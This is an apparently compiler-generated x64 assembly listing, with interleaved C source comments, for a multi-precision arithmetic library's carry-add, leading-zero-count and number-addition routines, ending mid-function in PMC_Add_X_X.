; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_32WORDS_ADC
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_32WORDS_ADC PROC ; COMDAT
; 48 : #ifdef _MSC_VER
; 49 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 50 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 51 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 52 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 53 : c = _ADD_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 54 : c = _ADD_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 55 : c = _ADD_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 56 : c = _ADD_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 57 : c = _ADD_UNIT(c, xp[8], yp[8], &zp[8]);
mov rax, QWORD PTR [rdx+64]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+64]
mov QWORD PTR [r9+64], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 58 : c = _ADD_UNIT(c, xp[9], yp[9], &zp[9]);
mov rax, QWORD PTR [rdx+72]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+72]
mov QWORD PTR [r9+72], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 59 : c = _ADD_UNIT(c, xp[10], yp[10], &zp[10]);
mov rax, QWORD PTR [rdx+80]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+80]
mov QWORD PTR [r9+80], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 60 : c = _ADD_UNIT(c, xp[11], yp[11], &zp[11]);
mov rax, QWORD PTR [rdx+88]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+88]
mov QWORD PTR [r9+88], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 61 : c = _ADD_UNIT(c, xp[12], yp[12], &zp[12]);
mov rax, QWORD PTR [rdx+96]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+96]
mov QWORD PTR [r9+96], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 62 : c = _ADD_UNIT(c, xp[13], yp[13], &zp[13]);
mov rax, QWORD PTR [rdx+104]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+104]
mov QWORD PTR [r9+104], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 63 : c = _ADD_UNIT(c, xp[14], yp[14], &zp[14]);
mov rax, QWORD PTR [rdx+112]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+112]
mov QWORD PTR [r9+112], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 64 : c = _ADD_UNIT(c, xp[15], yp[15], &zp[15]);
mov rax, QWORD PTR [rdx+120]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+120]
mov QWORD PTR [r9+120], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 65 : c = _ADD_UNIT(c, xp[16], yp[16], &zp[16]);
mov rax, QWORD PTR [rdx+128]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+128]
mov QWORD PTR [r9+128], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 66 : c = _ADD_UNIT(c, xp[17], yp[17], &zp[17]);
mov rax, QWORD PTR [rdx+136]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+136]
mov QWORD PTR [r9+136], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 67 : c = _ADD_UNIT(c, xp[18], yp[18], &zp[18]);
mov rax, QWORD PTR [rdx+144]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+144]
mov QWORD PTR [r9+144], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 68 : c = _ADD_UNIT(c, xp[19], yp[19], &zp[19]);
mov rax, QWORD PTR [rdx+152]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+152]
mov QWORD PTR [r9+152], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 69 : c = _ADD_UNIT(c, xp[20], yp[20], &zp[20]);
mov rax, QWORD PTR [rdx+160]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+160]
mov QWORD PTR [r9+160], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 70 : c = _ADD_UNIT(c, xp[21], yp[21], &zp[21]);
mov rax, QWORD PTR [rdx+168]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+168]
mov QWORD PTR [r9+168], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 71 : c = _ADD_UNIT(c, xp[22], yp[22], &zp[22]);
mov rax, QWORD PTR [rdx+176]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+176]
mov QWORD PTR [r9+176], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 72 : c = _ADD_UNIT(c, xp[23], yp[23], &zp[23]);
mov rax, QWORD PTR [rdx+184]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+184]
mov QWORD PTR [r9+184], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 73 : c = _ADD_UNIT(c, xp[24], yp[24], &zp[24]);
mov rax, QWORD PTR [rdx+192]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+192]
mov QWORD PTR [r9+192], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 74 : c = _ADD_UNIT(c, xp[25], yp[25], &zp[25]);
mov rax, QWORD PTR [rdx+200]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+200]
mov QWORD PTR [r9+200], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 75 : c = _ADD_UNIT(c, xp[26], yp[26], &zp[26]);
mov rax, QWORD PTR [rdx+208]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+208]
mov QWORD PTR [r9+208], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 76 : c = _ADD_UNIT(c, xp[27], yp[27], &zp[27]);
mov rax, QWORD PTR [rdx+216]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+216]
mov QWORD PTR [r9+216], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 77 : c = _ADD_UNIT(c, xp[28], yp[28], &zp[28]);
mov rax, QWORD PTR [rdx+224]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+224]
mov QWORD PTR [r9+224], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 78 : c = _ADD_UNIT(c, xp[29], yp[29], &zp[29]);
mov rax, QWORD PTR [rdx+232]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+232]
mov QWORD PTR [r9+232], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 79 : c = _ADD_UNIT(c, xp[30], yp[30], &zp[30]);
mov rax, QWORD PTR [rdx+240]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+240]
mov QWORD PTR [r9+240], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 80 : c = _ADD_UNIT(c, xp[31], yp[31], &zp[31]);
mov rcx, QWORD PTR [rdx+248]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rcx, QWORD PTR [r8+248]
mov QWORD PTR [r9+248], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 297 : }
ret 0
_ADD_32WORDS_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_UNIT
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_UNIT PROC ; COMDAT
; 630 : if (x == 0)
test rcx, rcx
jne SHORT $LN2@LZCNT_ALT_
; 631 : return (sizeof(x) * 8);
mov eax, 64 ; 00000040H
; 655 : }
ret 0
$LN2@LZCNT_ALT_:
; 632 : #ifdef _M_IX86
; 633 : _UINT32_T pos;
; 634 : #ifdef _MSC_VER
; 635 : _BitScanReverse(&pos, x);
; 636 : #elif defined(__GNUC__)
; 637 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 638 : #else
; 639 : #error unknown compiler
; 640 : #endif
; 641 : #elif defined(_M_X64)
; 642 : #ifdef _MSC_VER
; 643 : _UINT32_T pos;
; 644 : _BitScanReverse64(&pos, x);
bsr rcx, rcx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 63 ; 0000003fH
sub eax, ecx
; 655 : }
ret 0
_LZCNT_ALT_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_32
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_32 PROC ; COMDAT
; 597 : if (x == 0)
test ecx, ecx
jne SHORT $LN2@LZCNT_ALT_
; 598 : return (sizeof(x) * 8);
mov eax, 32 ; 00000020H
; 608 : }
ret 0
$LN2@LZCNT_ALT_:
; 599 : _UINT32_T pos;
; 600 : #ifdef _MSC_VER
; 601 : _BitScanReverse(&pos, x);
bsr ecx, ecx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 31
sub eax, ecx
; 608 : }
ret 0
_LZCNT_ALT_32 ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _ADDX_UNIT
_TEXT SEGMENT
carry$ = 8
u$ = 16
v$ = 24
w$ = 32
_ADDX_UNIT PROC ; COMDAT
; 242 : #ifdef _M_IX86
; 243 : return (_addcarryx_u32(carry, u, v, w));
; 244 : #elif defined(_M_X64)
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rdx, r8
mov QWORD PTR [r9], rdx
setb al
; 246 : #else
; 247 : #error unknown platform
; 248 : #endif
; 249 : }
ret 0
_ADDX_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _ADD_UNIT
_TEXT SEGMENT
carry$ = 8
u$ = 16
v$ = 24
w$ = 32
_ADD_UNIT PROC ; COMDAT
; 214 : #ifdef _M_IX86
; 215 : return (_addcarry_u32(carry, u, v, w));
; 216 : #elif defined(_M_X64)
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rdx, r8
mov QWORD PTR [r9], rdx
setb al
; 218 : #else
; 219 : #error unknown platform
; 220 : #endif
; 221 : }
ret 0
_ADD_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _MAXIMUM_UNIT
_TEXT SEGMENT
x$ = 8
y$ = 16
_MAXIMUM_UNIT PROC ; COMDAT
; 204 : return (x >= y ? x : y);
cmp rcx, rdx
cmovae rdx, rcx
mov rax, rdx
; 205 : }
ret 0
_MAXIMUM_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _FROMDWORDTOWORD
_TEXT SEGMENT
value$ = 8
result_high$ = 16
_FROMDWORDTOWORD PROC ; COMDAT
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov rax, rcx
shr rax, 32 ; 00000020H
mov DWORD PTR [rdx], eax
; 184 : return ((_UINT32_T)value);
mov eax, ecx
; 185 : }
ret 0
_FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_X_X
_TEXT SEGMENT
nw$ = 64
u$ = 64
v$ = 72
w$ = 80
w_light_check_code$1 = 88
PMC_Add_X_X PROC ; COMDAT
; 558 : {
$LN24:
mov QWORD PTR [rsp+16], rbx
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
; 559 : if (u == NULL)
test rcx, rcx
je $LN21@PMC_Add_X_
; 560 : return (PMC_STATUS_ARGUMENT_ERROR);
; 561 : if (v == NULL)
test rdx, rdx
je $LN21@PMC_Add_X_
; 562 : return (PMC_STATUS_ARGUMENT_ERROR);
; 563 : if (w == NULL)
test r8, r8
je $LN21@PMC_Add_X_
; 565 : NUMBER_HEADER* nu = (NUMBER_HEADER*)u;
; 566 : NUMBER_HEADER* nv = (NUMBER_HEADER*)v;
; 567 : PMC_STATUS_CODE result;
; 568 : if ((result = CheckNumber(nu)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne $LN1@PMC_Add_X_
; 569 : return (result);
; 570 : if ((result = CheckNumber(nv)) != PMC_STATUS_OK)
mov rcx, rbx
call CheckNumber
test eax, eax
jne $LN1@PMC_Add_X_
; 571 : return (result);
; 572 : NUMBER_HEADER* nw;
; 573 : if (nu->IS_ZERO)
mov eax, DWORD PTR [rbx+40]
and eax, 2
test BYTE PTR [rdi+40], 2
je SHORT $LN7@PMC_Add_X_
; 574 : {
; 575 : if (nv->IS_ZERO)
test eax, eax
je SHORT $LN9@PMC_Add_X_
; 576 : nw = &number_zero;
lea rax, OFFSET FLAT:number_zero
; 606 : }
; 607 : }
; 608 : *w = nw;
mov QWORD PTR [rsi], rax
; 609 : #ifdef _DEBUG
; 610 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 611 : return (result);
; 612 : #endif
; 613 : return (PMC_STATUS_OK);
xor eax, eax
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN9@PMC_Add_X_:
; 577 : else
; 578 : {
; 579 : if ((result = DuplicateNumber(nv, &nw)) != PMC_STATUS_OK)
lea rdx, QWORD PTR nw$[rsp]
mov rcx, rbx
call DuplicateNumber
test eax, eax
je $LN22@PMC_Add_X_
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN7@PMC_Add_X_:
; 580 : return (result);
; 581 : }
; 582 : }
; 583 : else
; 584 : {
; 585 : if (nv->IS_ZERO)
test eax, eax
je SHORT $LN12@PMC_Add_X_
; 586 : {
; 587 : if ((result = DuplicateNumber(nu, &nw)) != PMC_STATUS_OK)
lea rdx, QWORD PTR nw$[rsp]
mov rcx, rdi
call DuplicateNumber
test eax, eax
jne $LN1@PMC_Add_X_
; 606 : }
; 607 : }
; 608 : *w = nw;
mov rax, QWORD PTR nw$[rsp]
mov QWORD PTR [rsi], rax
; 609 : #ifdef _DEBUG
; 610 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 611 : return (result);
; 612 : #endif
; 613 : return (PMC_STATUS_OK);
xor eax, eax
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN12@PMC_Add_X_:
; 588 : return (result);
; 589 : }
; 590 : else
; 591 : {
; 592 : __UNIT_TYPE u_bit_count = nu->UNIT_BIT_COUNT;
; 593 : __UNIT_TYPE v_bit_count = nv->UNIT_BIT_COUNT;
mov rdx, QWORD PTR [rbx+16]
